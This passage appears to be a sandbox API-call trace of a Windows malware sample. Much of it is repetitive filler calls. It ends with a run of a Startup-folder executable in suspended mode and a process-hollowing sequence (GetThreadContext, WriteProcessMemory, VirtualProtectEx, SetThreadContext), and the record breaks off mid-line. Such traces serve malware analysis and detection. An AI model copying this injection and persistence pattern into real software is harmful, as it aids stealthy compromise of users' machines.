lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.636] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8749530, dwHighDateTime=0x1d595b2)) [0141.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd874bc40, dwHighDateTime=0x1d595b2)) [0141.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd874bc40, dwHighDateTime=0x1d595b2)) [0141.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd874bc40, dwHighDateTime=0x1d595b2)) [0141.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd874bc40, dwHighDateTime=0x1d595b2)) [0141.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd874bc40, dwHighDateTime=0x1d595b2)) [0141.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd874bc40, dwHighDateTime=0x1d595b2)) [0141.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd874bc40, dwHighDateTime=0x1d595b2)) [0141.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd874bc40, dwHighDateTime=0x1d595b2)) [0141.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd874bc40, dwHighDateTime=0x1d595b2)) [0141.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd874bc40, dwHighDateTime=0x1d595b2)) [0141.673] GetCursorPos (in: lpPoint=0x18ed0c | out: lpPoint=0x18ed0c*(x=519, y=527)) returned 1 [0141.673] TrackPopupMenu (hMenu=0x0, uFlags=0x0, x=516, y=524, nReserved=0, hWnd=0x0, prcRect=0x0) returned 0 [0141.673] GetCursorPos (in: lpPoint=0x18ed1c | out: lpPoint=0x18ed1c*(x=519, y=527)) returned 1 [0141.673] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Xstore") returned 0x1a4 [0141.673] GetCursorPos (in: lpPoint=0x18ed24 | out: lpPoint=0x18ed24*(x=519, y=527)) returned 1 [0141.673] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0141.673] GetDlgItem (hDlg=0x0, nIDDlgItem=2) returned 0x0 [0141.673] SetFocus (hWnd=0x0) returned 0x0 [0141.673] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xbb7) returned 0x102 [0144.823] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0144.823] SetCursor (hCursor=0x10007) returned 0x10007 [0144.823] GetCursorPos (in: lpPoint=0x18ed24 | out: lpPoint=0x18ed24*(x=865, y=582)) returned 1 [0144.823] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0144.823] GetDlgItem (hDlg=0x0, nIDDlgItem=2) returned 0x0 [0144.823] SetFocus (hWnd=0x0) returned 0x0 [0144.823] GetDeviceCaps (hdc=0x0, index=90) returned 0 [0144.823] CreateFontA (cHeight=0, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="me") returned 0x80a0815 [0144.823] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8d8 [0144.823] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x2) returned 0x3dd8e8 [0144.823] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0144.823] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0144.823] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x6) returned 0x3dd8e8 [0144.823] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0144.823] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0144.823] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0144.823] SQLDriverConnectA () returned 0xfffe [0144.824] SQLDriverConnectA () returned 0xfffe [0144.824] SQLDriverConnectA () returned 0xfffe [0144.824] SQLDriverConnectA () returned 0xfffe [0144.824] SQLDriverConnectA () returned 0xfffe [0144.824] SQLDriverConnectA () returned 0xfffe [0144.824] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0144.824] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8d8 | out: hHeap=0x3d0000) returned 1 [0144.824] SetRect (in: lprc=0x18dbc0, xLeft=10, yTop=10, xRight=110, yBottom=110 | out: lprc=0x18dbc0) returned 1 [0144.824] InflateRect (in: lprc=0x18dbc0, dx=-20, dy=-20 | out: lprc=0x18dbc0) returned 1 [0144.824] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=300, xRight=200, yBottom=301 | out: lprc=0x18dbc0) returned 1 [0144.824] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=302, xRight=200, yBottom=303 | out: lprc=0x18dbc0) returned 1 [0144.824] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=305, xRight=200, yBottom=306 | out: lprc=0x18dbc0) returned 1 [0144.824] GetConsoleWindow () returned 0x0 [0144.824] GetDC (hWnd=0x0) returned 0x601015d [0144.824] CreateDIBSection (in: hdc=0x601015d, lpbmi=0x18db78, usage=0x0, ppvBits=0x4ea700, hSection=0x0, offset=0x0 | out: ppvBits=0x4ea700) returned 0x0 [0144.824] CreateCompatibleDC (hdc=0x601015d) returned 0xd010805 [0144.824] SelectObject (hdc=0xd010805, h=0x0) returned 0x0 [0144.824] GetConsoleWindow () returned 0x0 [0144.824] ReleaseDC (hWnd=0x0, hDC=0x601015d) returned 1 [0144.824] glBegin () returned 0x7efddb90 [0144.824] glVertex2f () returned 0x0 [0144.824] glVertex2f () returned 0x0 [0144.824] glVertex2f () returned 0x0 [0144.824] glVertex2f () returned 0x0 [0144.824] glVertex2f () returned 0x0 [0144.824] glVertex2f () returned 0x0 [0144.824] glVertex2f () returned 0x0 [0144.824] glVertex2f () returned 0x0 [0144.824] glEnd () returned 0x5e3140 [0144.825] GetDlgItem (hDlg=0x0, nIDDlgItem=2006982120) returned 0x0 [0144.825] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.825] GetDlgItem (hDlg=0x0, nIDDlgItem=6334854) returned 0x0 [0144.825] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.825] GetDlgItem (hDlg=0x0, nIDDlgItem=17239) returned 0x0 [0144.825] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.825] GetDlgItem (hDlg=0x0, nIDDlgItem=6334854) returned 0x0 [0144.825] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.825] GetDlgItem (hDlg=0x0, nIDDlgItem=1914) returned 0x0 [0144.825] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.825] glClearColor () returned 0x5cf158 [0144.825] glMatrixMode () returned 0x5cf170 [0144.825] gluOrtho2D () returned 0x5cf178 [0144.825] LoadBitmapA (hInstance=0x0, lpBitmapName=0x7fe5) returned 0x5050816 [0144.825] CreatePatternBrush (hbm=0x5050816) returned 0x151007fa [0144.825] DeleteObject (ho=0x5050816) returned 1 [0144.825] CreateWindowExA (dwExStyle=0x220, lpClassName="RichEdit", lpWindowName=0x0, dwStyle=0x50300004, X=10, Y=10, nWidth=241, nHeight=221, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x0 [0144.825] SetWindowLongA (hWnd=0x0, nIndex=-4, dwNewLong=2006982120) returned 0 [0144.825] SetWindowLongA (hWnd=0x0, nIndex=-21, dwNewLong=0) returned 0 [0144.825] GetDlgItem (hDlg=0x0, nIDDlgItem=6334854) returned 0x0 [0144.825] DeleteObject (ho=0x151007fa) returned 1 [0144.825] GdiplusStartup (in: token=0x18d4d8, input=0x18d4c4, output=0x0 | out: token=0x18d4d8, output=0x0) returned 0x0 [0144.828] GdipAlloc (size=0x10) returned 0x32f2230 [0144.828] GdipLoadImageFromFile (filename="земля_ СЃ_луны.jpg", image=0x32f2234) returned 0x3 [0144.828] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0144.828] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0144.829] GetStockObject (i=0) returned 0x1900010 [0144.829] RegisterClassA (lpWndClass=0x18d480) returned 0x320000 [0144.829] CreateWindowExA (dwExStyle=0x0, lpClassName="Get", lpWindowName="Get", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x0 [0144.829] ShowWindow (hWnd=0x0, nCmdShow=0) returned 0 [0144.829] UpdateWindow (hWnd=0x0) returned 0 [0144.829] GdiplusShutdown (token=0xed79) [0144.967] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x77a01de8, lParam=0x60a986) returned 0x0 [0144.967] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x4357, lParam=0x60a986) returned 0x0 [0144.967] EnumWindowStationsW (lpEnumFunc=0x560000, lParam=0x0) [0145.388] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0145.389] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0146.166] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c960, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x42 [0146.166] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c908*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18cb8c | out: lpCommandLine="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpProcessInformation=0x18cb8c*(hProcess=0x1b4, hThread=0x1b0, dwProcessId=0x6dc, dwThreadId=0x61c)) returned 1 [0146.170] GetThreadContext (in: hThread=0x1b0, lpContext=0x18c630 | out: lpContext=0x18c630*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x3eed380, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x43829c, Ebp=0x0, Eip=0x77ba01c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0146.240] LoadLibraryA (lpLibFileName="ntdll") returned 0x77b90000 [0146.241] NtQueryInformationProcess (in: ProcessHandle=0x1b4, ProcessInformationClass=0x0, ProcessInformation=0x18c3dc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x18c3dc, ReturnLength=0x0) returned 0x0 [0146.241] ReadProcessMemory (in: hProcess=0x1b4, lpBaseAddress=0x7efde000, lpBuffer=0x18c428, nSize=0x1e8, lpNumberOfBytesRead=0x18c61c | out: lpBuffer=0x18c428*, lpNumberOfBytesRead=0x18c61c*=0x1e8) returned 1 [0146.241] VirtualProtectEx (in: hProcess=0x1b4, lpAddress=0x400000, dwSize=0x19000, flNewProtect=0x4, lpflOldProtect=0x18c628 | out: lpflOldProtect=0x18c628*=0x2) returned 1 [0146.241] WriteProcessMemory (in: hProcess=0x1b4, lpBaseAddress=0x400000, lpBuffer=0x635f08*, nSize=0x19000, lpNumberOfBytesWritten=0x18c610 | out: lpBuffer=0x635f08*, lpNumberOfBytesWritten=0x18c610*=0x19000) returned 1 [0146.252] VirtualProtectEx (in: hProcess=0x1b4, lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0146.252] VirtualProtectEx (in: hProcess=0x1b4, lpAddress=0x401000, dwSize=0x9c25, flNewProtect=0x20, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0146.252] VirtualProtectEx (in: hProcess=0x1b4, lpAddress=0x40b000, dwSize=0x2636, flNewProtect=0x2, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0146.252] VirtualProtectEx (in: hProcess=0x1b4, lpAddress=0x40e000, dwSize=0xaad5, flNewProtect=0x4, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0146.253] SetThreadContext (hThread=0x1b0, lpContext=0x18c630*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, 